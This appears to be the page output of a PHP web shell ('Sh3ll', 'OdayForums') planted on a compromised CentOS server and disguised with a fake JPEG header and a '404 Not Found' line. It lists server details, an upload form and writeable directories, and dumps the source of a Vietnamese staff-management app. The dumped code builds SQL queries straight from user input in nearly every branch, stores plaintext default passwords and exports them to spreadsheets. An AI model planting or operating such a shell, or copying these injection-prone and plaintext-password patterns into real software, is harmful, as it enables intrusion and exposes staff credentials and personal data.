JFIF ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/lnovel/code/management/staff/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/lnovel/code/management/staff/index.php
<?php
$v_company_id = $ob_user->company_id;
$txt_action_name='';
if($v_lang=='en') {
    $CORE->page_title = 'Staffs';
}else{
    $CORE->page_title = 'Cán bộ - Nhân viên';
}
$type = isset($CORE->input['type']) ? $CORE->input['type'] : '';
function staff_function_selected($id,$parentid,$aCats,$res,$sep){
    foreach($aCats as $val){
        if($val['staff_function_parentid']==$parentid){
            if($id==$val['staff_function_id']){
                $re = '<option value="'.$val['staff_function_id'].'" selected> + '.$sep.' '.$val['staff_function_name'].'</option>';
            }else{
                $re = '<option value="'.$val['staff_function_id'].'"> + '.$sep.' '.$val['staff_function_name'].'</option>';
            }
            $res .= staff_function_selected($id,$val['staff_function_id'],$aCats,$re,$sep.' + ');
        }
    }
    return $res;
}
function op_staffgroup($v_staffgroup_id=0){
    global $DB,$ob_user,$lang,$v_lang;
    $v_company_id = $ob_user->company_id;
    $q = $DB->query("SELECT * FROM tb_staffgroup WHERE company_id='$v_company_id' ");
    $flag1 = '';
    $flag2 = '';
    $html_option = '';
    while($r = $DB->fetch_row($q)){
        if($r['staffgroup_cat']==1) {
            $r['txt_staffgroup_cat'] = $lang['tham-gia-giang-day'];
         }else{
            $r['txt_staffgroup_cat'] = $lang['van-phong'];
        }
        if($v_lang=='en'){
            $r['staffgroup_name'] = $r['staffgroup_ename'];
        }
        $txt_chucvu = $r['staffgroup_cat'];
        $flag2 = $txt_chucvu;
        if($flag1 != $txt_chucvu) {
            $html_option .= '<optgroup label="' . $r['txt_staffgroup_cat'] . '">';
            $flag1 = $txt_chucvu;
        }
        $checked_user = '';
        if($r['staffgroup_id']==$v_staffgroup_id){
            $checked_user = 'selected';
        }
        $html_option .= '<option value="' . $r['staffgroup_id'] . '" '.$checked_user.'>' . $r['staffgroup_name']. '</option>';
        if($flag2 != $txt_chucvu){
            $html_option .= '</optgroup>';
        }
    }
    return $html_option;
}
$html_block = $type;
$txt_current_type = '';
switch ($type){
    case 'ajax':
        include 'ajax.php';
        break;
    case 'delete':
        $staff_id = $CORE->input['staff_id'];
        $txt_list_table_delete = '';
        $q_table = $DB->query("SELECT DISTINCT TABLE_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE COLUMN_NAME IN ('staff_id') AND TABLE_SCHEMA='".$INFO['sql_database']."';");
        $i = 0;
        while ($r_table = $DB->fetch_row($q_table)){
            $txt_list_table_delete .= '<li>
                                        <h3><a href="javacript:void(0)">'.$r_table['TABLE_NAME'].'</a></h3>
                                       ';
            $q_delete = $DB->query("SELECT * FROM ".$r_table['TABLE_NAME']." WHERE staff_id='".$staff_id."' ");
            while ($r_delele = $DB->fetch_row($q_delete)){
                $txt_list_table_delete .= '<pre>'.serialize($r_delele).'</pre>';
            }
            $txt_list_table_delete .= '</li>';
            $i++;
        }
        $html_block = 'delete';
        if(isset($CORE->input['submitbt_delete'])){
            $staff_id = $CORE->input['staff_id'];
            $q_table = $DB->query("SELECT DISTINCT TABLE_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE COLUMN_NAME IN ('staff_id') AND TABLE_SCHEMA='".$INFO['sql_database']."';");
            ob_end_flush();
            while ($r_table = $DB->fetch_row($q_table)){
                $DB->query("DELETE FROM ".$r_table['TABLE_NAME']." WHERE staff_id='".$staff_id."' ");
                echo 'Deleted '.$r_table['TABLE_NAME']. ' where staff_id='.$staff_id.'<br />';
                echo '--------------------------------------------------------------------------<br/>';
                sleep(1);
                flush();
            }
            sleep(1);
            echo '<script>location.href=\'index.php?act=management&code=staff\';</script>';
            exit();
        }
        break;
    case 'post' :
        $txt_current_type = $lang['them-moi'];
        $html_block = 'post';
        $staff_id = isset($CORE->input['staff_id']) ? intval($CORE->input['staff_id']) : 0;
        $row_check = $DB->get_colum_tb('tb_staff');
        if(isset($_GET['staff_id'])){
            $row_check = $_GET;
        }
        $row_user_check = $DB->get_colum_tb('tb_user');
        if($staff_id>0) {
            $row_check = $DB->fetch_row($DB->query("SELECT * FROM `tb_staff` WHERE `staff_id` = '$staff_id' "));
            $row_check['staff_birthday'] = date('d/m/Y',strtotime(str_replace('/', '-',$row_check['staff_birthday'])));
            $row_check['staff_joindate'] = date('d/m/Y',strtotime(str_replace('/', '-',$row_check['staff_joindate'])));
            $row_user_check = $DB->fetch_row($DB->query("SELECT * FROM tb_user WHERE user_id='".$row_check['user_id']."' "));
        }
        $aCats = array();
        $op_menu = '';
        $query_menu = $DB->query("SELECT * FROM tb_staff_function WHERE company_id='$v_company_id' ");
        while($rows_menu = $DB->fetch_row($query_menu))
        {
            if($v_lang=='en'){
                $rows_menu['staff_function_name']=$rows_menu['staff_function_ename'];
            }
            $aCats[] = $rows_menu;
        }
        $op_menu = staff_function_selected($row_check['staff_function'],0,$aCats,'<option value="0"> ---- </option>','');
        if(isset($CORE->input['submitbt'])){
            $f = $CORE->input['f'];
            $f['staff_birthday'] = date('Y-m-d',strtotime(str_replace('/', '-',$f['staff_birthday'])));
            $f['staff_joindate'] = date('Y-m-d',strtotime(str_replace('/', '-',$f['staff_joindate'])));
            $fullname = $f['staff_fullname'];
            $v_name_order = $func->generate_pupil_order($fullname);
            $arr_student_name = explode(' ',$fullname);
            $v_ten = trim($arr_student_name[count($arr_student_name)-1]);
            $f['staff_mobile'] = str_replace('_','',$f['staff_mobile']);
            if($f['staff_fullname']!='') {
                if(intval($f['staff_id'])>0){
                    $row_check_staff_email365 = $DB->fetch_row($DB->query("SELECT * FROM tb_staff WHERE staff_email365='".$f['staff_email365']."' AND staff_id<>'".intval($f['staff_id'])."' "));
                    if($row_check_staff_email365){
                        $print->refresh('index.php?act=management&code=staff&type=post&'.http_build_query($f),'!Error: Company email already exists on the system.',5);
                    }
                    $DB->query("UPDATE `tb_staff` SET `staff_fullname` = '".$f['staff_fullname']."', `staff_lastname` = '".$v_ten."', `staff_email` = '".$f['staff_email']."', `staff_email365` = '".$f['staff_email365']."', `staff_gender` = '".$f['staff_gender']."', `staff_birthday` = '".$f['staff_birthday']."', `staff_address` = '".$f['staff_address']."', `staff_dantoc` = '".$f['staff_dantoc']."', `staff_mobile` = '".$f['staff_mobile']."', `staff_cmnd` = '".$f['staff_cmnd']."', `staff_trinhdohocvan` = '".$f['staff_trinhdohocvan']."', `staff_marry` = '".$f['staff_marry']."',`staff_group` = '".$f['staff_group']."', `staff_joindate` = '".$f['staff_joindate']."',`staff_order`='".$v_name_order."' WHERE `staff_id` = '".$f['staff_id']."';");
                    $v_staff_id = intval($f['staff_id']);
                    $row_check = $DB->fetch_row($DB->query("SELECT * FROM `tb_staff` WHERE `staff_id` = '$v_staff_id' "));
                    $row_user_check = $DB->fetch_row($DB->query("SELECT * FROM tb_user WHERE user_id='".$row_check['user_id']."' "));
                    $user_id = $row_user_check['user_id'];
                }else {
                    //making order name
                    $v_name_order = $func->generate_pupil_order($f['staff_fullname']);
                    //making password
                    $password = $func->make_password();
                    $password_hash = password_hash($password, PASSWORD_DEFAULT, ['cost' => 12]);
                    //create username
                    $txt_sub_name = '';
                    $txt_first_name = '';
                    foreach ($arr_student_name as $val){
                        if(trim($val)!=$v_ten){
                            $txt_first_name = $func->format_string(trim($val));
                            $txt_sub_name .= strtolower(substr($txt_first_name,0,1));
                        }
                    }
                    $txt_user_name = $func->format_string($v_ten).$txt_sub_name;
                    $row_check_user = $DB->fetch_row($DB->query("SELECT count(*) as total FROM tb_user WHERE user_key LIKE '%$txt_user_name%'"));
                    $v_chr_start = 1;
                    $flag = 1;
                    $v_chr_start = $row_check_user['total'];
                    if($v_chr_start>0) {
                        $txt_user_name = $txt_user_name . $v_chr_start;
                    }
                    while($DB->get_num_rows($DB->query("SELECT * FROM tb_user WHERE user_key='$txt_user_name' "))){
                        $flag = $v_chr_start+1;
                        $txt_user_name = str_replace($v_chr_start,$flag,$txt_user_name);
                    }
                    $DB->query("INSERT INTO `tb_user` ( `user_key`,`user_password_default`,`user_password_hash`,`user_type`, `user_last_login`,`user_status`,user_jointime) VALUES ('$txt_user_name', '$password', '$password_hash','staff', '1970-01-01 00:00:00','active','".time()."');");
                    $user_id = $DB->insert_id();
                    //insert teacher
                    $DB->query("INSERT INTO `tb_staff` ( `company_id`, `user_id`, `staff_fullname`, `staff_lastname`,  `staff_email`, `staff_email365`, `staff_gender`, `staff_birthday`, `staff_address`, `staff_dantoc`, `staff_mobile`, `staff_cmnd`, `staff_trinhdohocvan`, `staff_marry`, `staff_joindate`, `staff_function`, `staff_group`, `staff_order`,`staff_status`) VALUES ( '$v_company_id', '".$user_id."', '".$f['staff_fullname']."', '".$v_ten."', '".$f['staff_email']."', '".$f['staff_email365']."', '".$f['staff_gender']."', '".$f['staff_birthday']."', '".$f['staff_address']."', '".$f['staff_dantoc']."', '".$f['staff_mobile']."', '".$f['staff_cmnd']."', '".$f['staff_trinhdohocvan']."', '".$f['staff_marry']."', '".$f['staff_joindate']."','".$f['staff_function']."','".$f['staff_group']."', '".$v_name_order."','0');");
                    $v_staff_id = $DB->insert_id();
                    //update event chuc vu
                    if($f['staff_function']>0){
                        $DB->query("INSERT INTO `tb_param_data` (`staff_id`, `company_id`, `param_date`, `param_key`, `param_data`, `param_note`, `update_time`, `update_by`) VALUES ('$v_staff_id', '$v_company_id', NOW(), 'chuc-vu', '".$f['staff_function']."', 'Create staff account', NOW(), '".$ob_user->user_name."');");
                    }
                }
                //upload image
                if($_FILES['image_field']){
                    include 'lib/class.upload.php';
                    $v_folder = date('m-Y');
                    $handle = new upload($_FILES['image_field']);
                    if($handle->image_src_x!=$handle->image_src_y){
                        $handle->clean();
                        $print->refresh('index.php?act=management&code=staff&type=post&'.http_build_query($f),'!Upload Error: Photo must be square.',5);
                    }
                    if ($handle->uploaded) {
                        $v_image_name = $v_staff_id.'_'.time().'_'.uniqid();
                        $handle->allowed = array('image/*');
                        $handle->file_new_name_body  = $v_image_name;
                        $handle->file_max_size = '1000000';
                        $handle->image_convert = 'png';

                        $year_now = date('Y');
                        $month_now = date('m');
                        if(!is_dir("upload/user")){
                            mkdir("upload/user", 0777);
                        }
                        if (is_dir("upload/user/" . $year_now)) {
                            if (!is_dir("upload/user/" . $year_now . "/" . $month_now)) {
                                mkdir("upload/user/" . $year_now . "/" . $month_now, 0777);
                            }
                        } else {
                            mkdir("upload/user/" . $year_now, 0777);
                            if (!is_dir("upload/user/" . $year_now . "/" . $month_now)) {
                                mkdir("upload/user/" . $year_now . "/" . $month_now, 0777);
                            }
                        }
                        $v_folder = $year_now . "/" . $month_now;
                        $handle->process(ROOT_PATH.'upload/user/'.$v_folder.'/');
                        $v_image_folder = $v_folder.'/'.$v_image_name.'.png';
                        if ($handle->processed) {
                            if(isset($row_user_check['user_image']) and $row_user_check['user_image']!='') {
                                @unlink(ROOT_PATH . 'upload/user/'.$row_user_check['user_image']);
                            }
                            $DB->query("UPDATE tb_user SET user_image='".$v_image_folder."' WHERE user_id='$user_id' ");
                            $handle->clean();
                        } else {
                            $handle->clean();
                            $print->refresh('index.php?act=management&code=staff&type=post&'.http_build_query($f),'!Upload Error: '.$handle->error,5);
                        }
                    }
                }
                //post subject
                /*$arr_subject = array();
                if(isset($CORE->input['subjects'])) {
                    $arr_subject = $CORE->input['subjects'];
                }
                $txt_subject = '';
                if(!empty($arr_subject)){
                    $DB->query("DELETE FROM `tb_staff_subject` WHERE `staff_id`='$v_staff_id' ");
                    foreach ($arr_subject as $val){
                        $txt_subject .= $val.'@';
                        $DB->query("INSERT INTO `tb_staff_subject`( `staff_id`, `subject_id`) VALUES ('$v_staff_id','$val')");
                    }
                }
                if($txt_subject!=''){
                    $DB->query("UPDATE tb_staff SET staff_subject='$txt_subject' WHERE `staff_id`='$v_staff_id' ");
                }*/
                $print->refresh('index.php?act=management&code=staff&type=post&staff_id='.$v_staff_id);
            }
        }
     break;
    case 'resetpass':
        $v_user_id = $CORE->input['user_id'];
        $v_staff_id = $CORE->input['staff_id'];
        //making password
        $password = $func->make_password();
        $password_hash = password_hash($password, PASSWORD_DEFAULT, ['cost' => 12]);
        $DB->query("UPDATE tb_user SET `user_password_default`='".$password."',`user_password_hash`='".$password_hash."' WHERE `user_id`='".$v_user_id."' ");
        $print->refresh('index.php?act=management&code=staff&type=post&staff_id='.$v_staff_id);
    break;
    case 'import_excel':
        $txt_current_type = 'Import excel';
        $html_block = 'import_excel';
        $r_company = $DB->fetch_row($DB->query("SELECT * FROM tb_company WHERE company_id='$v_company_id' "));
        if($v_lang=='en'){
            $r_company['company_name'] = $r_company['company_ename'];
        }
        $v_html = '';
        if(isset($CORE->input['submitbt_excel'])){
            if($_FILES['excel']){
                /*print_r($_FILES['excel']);
                exit();*/
                if($_FILES['excel']['type']!='application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'){
                    $print->refresh('index.php?act=management&code=staff&type=import_excel','!Error: file excel cần có định dạng xlsx nhỏ hơn 1MB',5);
                }
                include ROOT_PATH.'libs/PHPExcel.php';
                $objPHPExcel = new PHPExcel();
                $objPHPExcel = PHPExcel_IOFactory::load($_FILES['excel']['tmp_name']);
                $objWorksheet = $objPHPExcel->getActiveSheet();
                $v_html = '<form action="index.php?act=management&code=staff&type=import_excel" method="post">
<input type="hidden" name="submit_post_excel_data" value="1">
<p class="card-description">
                            Data from excel file
                        </p>
<table class="table table-bordered"><tr><th>STT</th><th>Họ tên</th><th>Giới tính</th><th>Sinh ngày</th><th>Email công ty</th></tr>';
                $v_row = 0;
                foreach ($objWorksheet->getRowIterator() as $row){
                    $cellIterator = $row->getCellIterator();
                    $cellIterator->setIterateOnlyExistingCells(false);
                    if($v_row>0) {
                        $v_html .= '<tr>';
                        $v_col = 0;
                        foreach ($cellIterator as $cell) {
                            $v_val = $cell->getCalculatedValue();
                            $v_val = mb_convert_encoding($v_val, 'UTF-8');
                            $v_html .= '<td><input type="hidden" name="data['.$v_row.']['.$v_col.']" value="' . $v_val . '">' . $v_val . '</td>';
                            $v_col++;
                        }
                        $v_html .= '</tr>';
                    }
                    $v_row++;
                }
                $v_html .= '<tr><td colspan="5"><button class="btn btn-inverse-primary" type="submit">Đồng ý cập nhật</button></td></tr>';
                $v_html .= '</table></form>';
            }
        }
        if(isset($CORE->input['submit_post_excel_data']) and $CORE->input['submit_post_excel_data']==1){
            ini_set('max_execution_time', 0);
            set_time_limit(0);
            ob_end_flush();
            $data = $CORE->input['data'];
            foreach ($data as $key=>$val){
                $v_fullname = $val[1];
                $v_gender = $val[2];
                if($v_gender=='Nam'){
                    $v_gender = 1;
                }else{
                    $v_gender = 2;
                }
                $v_ngaysinh = date('Y-m-d',strtotime($val[3]));
                $v_email = $val[4];
                //create for insert
                $arr_student_name = explode(' ',$v_fullname);
                $v_ten = trim($arr_student_name[count($arr_student_name)-1]);

                $v_name_order = $func->generate_pupil_order($v_fullname);
                //making password
                $password = $func->make_password();
                $password_hash = password_hash($password, PASSWORD_DEFAULT, ['cost' => 12]);
                //create username
                $txt_sub_name = '';
                $txt_first_name = '';
                foreach ($arr_student_name as $val){
                    if(trim($val)!=$v_ten){
                        $txt_first_name = $func->format_string(trim($val));
                        $txt_sub_name .= strtolower(substr($txt_first_name,0,1));
                    }
                }
                $txt_user_name = $func->convert_vi_to_en($v_ten).$txt_sub_name;

                    $txt_user_name = str_replace(array('ò','ó','ọ','ỏ','õ','ô','ồ','ố','ộ','ổ','ỗ','ơ'
                    ,'ờ','ớ','ợ','ở','ỡ'),array('o','o','o','o','o','o','o','o','o','o','o','o','o','o','o','o','o'),$txt_user_name);
                    $txt_user_name = strtolower($txt_user_name);

                $row_check_user = $DB->fetch_row($DB->query("SELECT count(*) as total FROM tb_user WHERE user_key LIKE '%$txt_user_name%'"));
                $v_chr_start = 1;
                $flag = 1;
                $v_chr_start = $row_check_user['total'];
                if($v_chr_start>0) {
                    $txt_user_name = $txt_user_name . $v_chr_start;
                }
                while($DB->get_num_rows($DB->query("SELECT * FROM tb_user WHERE user_key='$txt_user_name' "))){
                    $flag = $v_chr_start+1;
                    $txt_user_name = str_replace($v_chr_start,$flag,$txt_user_name);
                }
                $row_check = $DB->fetch_row($DB->query("SELECT * FROM tb_staff WHERE staff_email365='".$v_email."' LIMIT 1 "));
                if(!$row_check) {
                    $DB->query("INSERT INTO `tb_user` ( `user_key`,`user_password_default`,`user_password_hash`, `user_type`,`user_last_login`,`user_status`) VALUES ('" . $txt_user_name . "', '$password', '$password_hash','staff', NOW(),'active');");
                    $user_id = $DB->insert_id();
                    //insert teacher
                    $DB->query("INSERT INTO `tb_staff` ( `company_id`, `user_id`, `staff_fullname`, `staff_lastname`,  `staff_email`, `staff_email365`, `staff_gender`, `staff_birthday`, `staff_joindate`, `staff_order`, `staff_status`) VALUES ( '$v_company_id', '" . $user_id . "', '" . $v_fullname . "', '" . $v_ten . "', '', '" . $v_email . "', '" . $v_gender . "', NOW(), NOW(), '".$v_name_order."', '0');");
                    $v_staff_id = $DB->insert_id();
                    echo 'Updated  '.$v_fullname.' - email '.$v_email;
                    echo '<br/>';
                    echo '------------------------------';
                    echo '<br/>';
                }else{
                    echo 'Email  '.$v_email.' already exist, can not update '.$v_fullname;
                    echo '<br/>';
                    echo '------------------------------';
                    echo '<br/>';
                }
                flush();
            }
            echo '<script>location.replace(\'index.php?act=management&code=staff\');</script>';
            exit();
        }
    break;
    case 'export_selected':
        $txt_list_id = $CORE->input['list_id'];
        if($txt_list_id == ''){
            $print->refresh('index.php?act=management&code=staff','!Error: no data find.',5);
        }
        $txt_list_id = str_replace('@',',',$txt_list_id);
        $q_staff = $DB->query("SELECT * FROM tb_staff WHERE staff_id IN (".$txt_list_id.") ORDER BY staff_order");
        $html = '<table border="1" class="list_table"><tr><th>Fullname</th><th>Email</th><th>Gender</th><th>Birthday</th><th>Address</th><th>Mobile</th><th>Function</th><th>Username</th><th>Password</th></tr>';
        while ($r_staff = $DB->fetch_row($q_staff)){
            $r_user = $DB->fetch_row($DB->query("SELECT * FROM tb_user WHERE user_id='".$r_staff['user_id']."' "));
            $html .= '<tr><td>'.$r_staff['staff_fullname'].'</td><td>'.$r_staff['staff_email365'].'</td><td>'.$r_staff['staff_gender'].'</td><td>'.$r_staff['staff_birthday'].'</td><td>'.$r_staff['staff_address'].'</td><td>'.$r_staff['staff_mobile'].'</td><td>'.$r_staff['staff_function'].'</td><td>'.$r_user['user_key'].'</td><td>'.$r_user['user_password_default'].'</td></tr>';
        }
        $html .= '</table>';
        include ROOT_PATH.'libs/HtmlExcel/HtmlExcel.php';
        $xls = new HtmlExcel();
        $xls->setCss('');
        $xls->addSheet("Sheet1", $html);
        $xls->headers('list-staff.xls');
        echo $xls->buildFile();
        exit();
        break;
    case 'export_all':
        $q_staff = $DB->query("SELECT * FROM tb_staff WHERE staff_status='0' AND company_id='$v_company_id' ORDER BY staff_order");
        $html = '<table border="1" class="list_table"><tr><th>Fullname</th><th>Email</th><th>Gender</th><th>Birthday</th><th>Address</th><th>Mobile</th><th>Function</th><th>Username</th><th>Password</th></tr>';
        while ($r_staff = $DB->fetch_row($q_staff)){
            $r_staff['txt_staff_gender'] = ($r_staff['staff_gender']==1) ? 'Nam':"Nữ";
            $r_user = $DB->fetch_row($DB->query("SELECT * FROM tb_user WHERE user_id='".$r_staff['user_id']."' "));
            $r_function = $DB->fetch_row($DB->query("SELECT * FROM tb_staff_function WHERE staff_function_id='".$r_staff['staff_function']."' "));
            $r_staff['txt_staff_function'] = $r_function['staff_function_name'];
            $html .= '<tr><td>'.$r_staff['staff_fullname'].'</td><td>'.$r_staff['staff_email365'].'</td><td>'.$r_staff['txt_staff_gender'].'</td><td>'.$r_staff['staff_birthday'].'</td><td>'.$r_staff['staff_address'].'</td><td>'.$r_staff['staff_mobile'].'</td><td>'.$r_staff['txt_staff_function'].'</td><td>'.$r_user['user_key'].'</td><td>'.$r_user['user_password_default'].'</td></tr>';
        }
        $html .= '</table>';
        include ROOT_PATH.'libs/HtmlExcel/HtmlExcel.php';
        $xls = new HtmlExcel();
        $xls->setCss('');
        $xls->addSheet("Sheet1", $html);
        $xls->headers('list-staff.xls');
        echo $xls->buildFile();
        exit();
        break;
    case 'del_quit_job':
        $event_id = intval($CORE->input['event_id']);
        $list_id = $CORE->input['list_id'];
        if($event_id>0){
            $DB->query("DELETE FROM tb_staff_event WHERE staff_event_id='".$event_id."'");
            $print->refresh('?act=management&code=staff&type=quit_job&list_id='.$list_id);
        }
        break;
    case 'quit_job':
        $txt_current_type = $lang['cap-nhat-nghi-cong-tac'];
        $html_block = 'quit_job';
        $txt_list_id = $CORE->input['list_id'];
        if($txt_list_id == ''){
            $print->refresh('index.php?act=management&code=staff','!Error: no data find.',5);
        }
        $txt_list_id_query = str_replace('@',',',$txt_list_id);
        $q_old_event = $DB->query("SELECT * FROM tb_staff_event WHERE staff_id IN ($txt_list_id_query) ORDER BY staff_id ");
        $html_show = '';
        $flag = 0;
        while ($r_old_event = $DB->fetch_row($q_old_event)){
            $row_staff = $DB->fetch_row($DB->query("SELECT staff_fullname FROM tb_staff WHERE staff_id='".$r_old_event['staff_id']."' "));
            if($flag!=$r_old_event['staff_id']) {
                $html_show .= '<tr><td colspan="4">' . $row_staff['staff_fullname'] . '</td></tr>';
                $flag = $r_old_event['staff_id'];
            }
            $html_show .= '<tr><td>'.$arr_staff_event[$r_old_event['staff_event_type']][$v_lang].'</td><td>'.$r_old_event['staff_event_date'].'</td><td>'.$r_old_event['staff_event_note'].'</td><td>'.$r_old_event['user_post'].'</td><td><a href="index.php?act=management&code=staff&type=del_quit_job&event_id='.$r_old_event['staff_event_id'].'&list_id='.$txt_list_id.'" class="btn btn-outline-danger" onclick="return confirm(\'Are you sure do you want delete?\');">Delete</a></td></tr>';
        }
        $q_staff = $DB->query("SELECT * FROM tb_staff WHERE staff_id IN ($txt_list_id_query) ORDER BY staff_order ");
        $html_form = '';
        while($r_staff = $DB->fetch_row($q_staff)){
            $row_staff = $DB->fetch_row($DB->query("SELECT staff_fullname FROM tb_staff WHERE staff_id='".$r_staff['staff_id']."' "));
            $r_function = $DB->fetch_row($DB->query("SELECT * FROM tb_staff_function WHERE staff_function_id='".$r_staff['staff_function']."' "));
            $html_form .= '<tr><td>' . $row_staff['staff_fullname'] . '</td><td>' . $r_function['staff_function_name'] . '</td></tr>';
            $html_form .= '<tr><td><input type="text" class="form-control" name="event['.$r_staff['staff_id'].'][staff_event_date]" placeholder="'.$lang['ngay-nghi'].'" data-inputmask-alias="datetime" data-inputmask-inputformat="dd/mm/yyyy" required onblur="check_past_date(this.value);"></td><td><input type="text" class="form-control" name="event[' . $r_staff['staff_id'] . '][staff_event_note]" placeholder="'.$lang['ly-do-nghi'].'" required></td></tr>';
        }
        if(isset($CORE->input['submitbt_out_work'])){
            $txt_list_id = $CORE->input['list_id'];
            $event = $CORE->input['event'];
            ob_end_flush();
            foreach ($event as $key=>$val){
                $txt_date_off = date('Y-m-d',strtotime(str_replace('/', '-',$val['staff_event_date'])));
                $row_check_staff = $DB->fetch_row($DB->query("SELECT * FROM tb_staff WHERE staff_id='".$key."' "));
                if($row_check_staff['staff_status']==0) {
                    $DB->query("INSERT INTO `tb_staff_event` (`company_id`, `staff_id`, `user_post`, `staff_event_type`, `staff_event_date`, `staff_event_note`, `time`) VALUES ('" . $v_company_id . "', '" . $key . "', '" . $token->user_name . "', 'quit_job', '" . $txt_date_off . "', '" . $val['staff_event_note'] . "', '" . time() . "' );");
                    $DB->query("UPDATE tb_staff SET staff_status='1' WHERE staff_id='" . $key . "' ");
                    echo 'Updated '.$row_check_staff['staff_fullname'].' quit the job</br>';
                    echo '-------------------<br/>';
                }else{
                    echo '<script>alert(\''.$row_check_staff['staff_fullname'].' already quit the job, can not update!\');</script>';
                }
                sleep(1);
                flush();
            }
            echo '<script>location.replace(\'index.php?act=management&code=staff&type=quit_job&list_id='.$txt_list_id.'\');</script>';
            //$print->refresh('index.php?act=management&code=staff&type=quit_job&list_id='.$txt_list_id);
        }
        break;
    case 'back_job':
        $txt_current_type = $lang['cap-nhat-tro-lai-cong-tac'];
        $html_block = 'back_job';
        $txt_list_id = $CORE->input['list_id'];
        if($txt_list_id == ''){
            $print->refresh('index.php?act=management&code=staff','!Error: no data find.',5);
        }
        $txt_list_id_query = str_replace('@',',',$txt_list_id);
        $q_old_event = $DB->query("SELECT * FROM tb_staff_event WHERE staff_id IN ($txt_list_id_query) ORDER BY staff_id ");
        $html_show = '';
        $flag = 0;
        while ($r_old_event = $DB->fetch_row($q_old_event)){
            $row_staff = $DB->fetch_row($DB->query("SELECT staff_fullname FROM tb_staff WHERE staff_id='".$r_old_event['staff_id']."' "));
            if($flag!=$r_old_event['staff_id']) {
                $html_show .= '<tr><td colspan="4">' . $row_staff['staff_fullname'] . '</td></tr>';
                $flag = $r_old_event['staff_id'];
            }
            $html_show .= '<tr><td>'.$arr_staff_event[$r_old_event['staff_event_type']][$v_lang].'</td><td>'.$r_old_event['staff_event_date'].'</td><td>'.$r_old_event['staff_event_note'].'</td><td>'.$r_old_event['user_post'].'</td><td><a href="index.php?act=management&code=staff&type=del_quit_job&event_id='.$r_old_event['staff_event_id'].'&list_id='.$txt_list_id.'" class="btn btn-outline-danger" onclick="return confirm(\'Are you sure do you want delete?\');">Delete</a></td></tr>';
        }
        $q_staff = $DB->query("SELECT * FROM tb_staff WHERE staff_id IN ($txt_list_id_query) ORDER BY staff_order ");
        $html_form = '';
        while($r_staff = $DB->fetch_row($q_staff)){
            $row_staff = $DB->fetch_row($DB->query("SELECT staff_fullname FROM tb_staff WHERE staff_id='".$r_staff['staff_id']."' "));
            $r_function = $DB->fetch_row($DB->query("SELECT * FROM tb_staff_function WHERE staff_function_id='".$r_staff['staff_function']."' "));
            $html_form .= '<tr><td>' . $row_staff['staff_fullname'] . '</td><td>' . $r_function['staff_function_name'] . '</td></tr>';
            $html_form .= '<tr><td><input type="text" class="form-control" name="event['.$r_staff['staff_id'].'][staff_event_date]" placeholder="'.$lang['ngay-tro-lai'].'" data-inputmask-alias="datetime" data-inputmask-inputformat="dd/mm/yyyy" required onblur="check_past_date(this.value);"></td><td><input type="text" class="form-control" name="event[' . $r_staff['staff_id'] . '][staff_event_note]" placeholder="'.$lang['ly-do-tro-lai'].'" required></td></tr>';
        }
        if(isset($CORE->input['submitbt_out_work'])){
            $txt_list_id = $CORE->input['list_id'];
            $event = $CORE->input['event'];
            ob_end_flush();
            foreach ($event as $key=>$val){
                $txt_date_off = date('Y-m-d',strtotime(str_replace('/', '-',$val['staff_event_date'])));
                $row_check_staff = $DB->fetch_row($DB->query("SELECT * FROM tb_staff WHERE staff_id='".$key."' "));

                $row_check_event_staff = $DB->fetch_row($DB->query("SELECT * FROM tb_staff_event WHERE staff_id='$key' AND staff_event_type='quit_job' ORDER BY time DESC LIMIT 1 "));
                if($row_check_event_staff){
                    $time_check = strtotime($row_check_event_staff['staff_event_date']);
                    if($time_check>strtotime($txt_date_off)){
                        echo '<script>alert(\'!Error '.$row_check_staff['staff_fullname'].', input time of back job must after time of quit job!\');</script>';
                    }else{
                        if($row_check_staff['staff_status']==1) {
                            $DB->query("INSERT INTO `tb_staff_event` (`company_id`, `staff_id`, `user_post`, `staff_event_type`, `staff_event_date`, `staff_event_note`, `time`) VALUES ('" . $v_company_id . "', '" . $key . "', '" . $token->user_name . "', 'back_job', '" . $txt_date_off . "', '" . $val['staff_event_note'] . "', '" . time() . "' );");
                            $DB->query("UPDATE tb_staff SET staff_status='0' WHERE staff_id='" . $key . "' ");
                            echo 'Updated '.$row_check_staff['staff_fullname'].' back the job<br/>';
                            echo '-------------------<br/>';
                        }else{
                            echo '<script>alert(\''.$row_check_staff['staff_fullname'].' already working, can not update!\');</script>';
                        }
                    }
                }else {
                    echo '<script>alert(\''.$row_check_staff['staff_fullname'].' already working, can not update!\');</script>';
                }
                sleep(1);
                flush();
            }
            echo '<script>location.replace(\'index.php?act=management&code=staff&type=back_job&list_id='.$txt_list_id.'\');</script>';
        }
        break;
    case 'rule':
        include 'rule.php';
        break;
    default:
        $txt_current_type = 'Quản lý nhân viên';
        $html_block = 'list';
        $aCats = array();
        $op_menu_com = '';
        $query_menu = $DB->query("SELECT * FROM tb_staff_function WHERE company_id='$v_company_id' ");
        while($rows_menu = $DB->fetch_row($query_menu))
        {
            if($v_lang=='en'){
                $rows_menu['staff_function_name']=$rows_menu['staff_function_ename'];
            }
            $aCats[] = $rows_menu;
        }
        $op_menu_com = staff_function_selected(0,0,$aCats,'<option value=""> -'.$lang['tat-ca'].'- </option>','');

        $keyword = isset($CORE->input['fkeyword']) ? $CORE->input['fkeyword'] : '';
        $where = " WHERE `company_id`='$v_company_id' ";
        $txt_all = '';
        $s = array();
        $param_search = '';
        if(isset($CORE->input['k'])){
            $s = $CORE->input['k'];
            foreach ($s as $key=>$val){
                if($val!='') {
                    $param_search .= 'k['.$key.']='.trim($val).'&';
                    $where .= " AND `" . $key . "` LIKE '%" . trim($val) . "%' ";
                }
            }
            $txt_all = '<a href="index.php?act=management&code=staff" class="badge badge-warning">'.$lang['tat-ca'].'</a>';
        }
        if($keyword!='')
        {
            $where .=  " AND (staff_fullname LIKE '%".$keyword."%' or staff_fullname LIKE '%".$keyword."%') ";
        }
        $pageNum = isset($_GET['pageNum']) ? intval($_GET['pageNum']) : 1;
